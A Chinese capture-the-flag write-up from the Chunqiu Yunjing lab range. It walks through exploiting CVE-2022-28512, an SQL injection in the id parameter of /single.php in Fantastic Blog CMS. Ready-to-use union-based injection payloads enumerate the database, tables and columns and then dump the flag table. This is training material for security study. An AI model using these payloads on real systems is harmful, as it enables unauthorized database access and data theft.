春秋云境——CVE-2022-28512
靶标介绍:
Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。
1. 初始访问测试
正常请求文章接口,页面正常返回文章内容:
?id=5
2. 注入类型判断
尝试单引号闭合测试,页面报错/内容异常,证明参数被单引号包裹,为字符型注入,而非初始判断的数字型注入。
3. 查询字段数探测(Order By)
通过order by逐级猜测查询字段数量,最终确认该查询语句共9个字段,只有字段数量一致,联合查询才能正常执行。
4. 显式回显位探测
使用负数id闭合,规避原有文章数据干扰,探测页面回显位置:
?id=-5' union select 1,2,3,4,5,6,7,8,9--+测试得出页面可正常回显查询数据,具备Union联合查询条件。
5. 查询当前数据库名
将database()放置回显位,获取当前网站数据库名称:
?id=-5' union select 1,2,3,database(),5,6,7,8,9--+6. 爆表名(当前数据库所有数据表)
使用group_concat()函数解决页面Limit单行限制,一次性拼接输出所有表名,避免数据截断遗漏:
如果出现多行只显示一张表(limit 限制)
使用 group_concat() 拼接所有表,一次性全部输出
?id=-5' union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=database()--+7. 爆列名(查询数据表字段)
以核心用户表flag,
?id=-5' union select 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag'--+8.读取flag专属表数据
?id=-5' union select 1,group_concat(flag),3,4,5,6,7,8,9 from flag--+